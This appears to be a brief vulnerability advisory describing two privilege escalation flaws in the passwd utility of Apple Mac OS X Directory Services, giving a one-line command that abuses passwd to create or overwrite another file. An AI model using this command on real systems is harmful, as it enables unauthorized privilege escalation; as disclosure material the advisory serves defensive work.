Apple Mac OS X Directory Services Passwd Privilege Escalation Vulnerabilities

An exploit is not required.

To exploit the first issue, the attacker executes the following:

umask 0;/usr/bin/passwd -i file -l <filename>

where <filename> is the path and name of another file on the system.

The following code is available to exploit the second issue:


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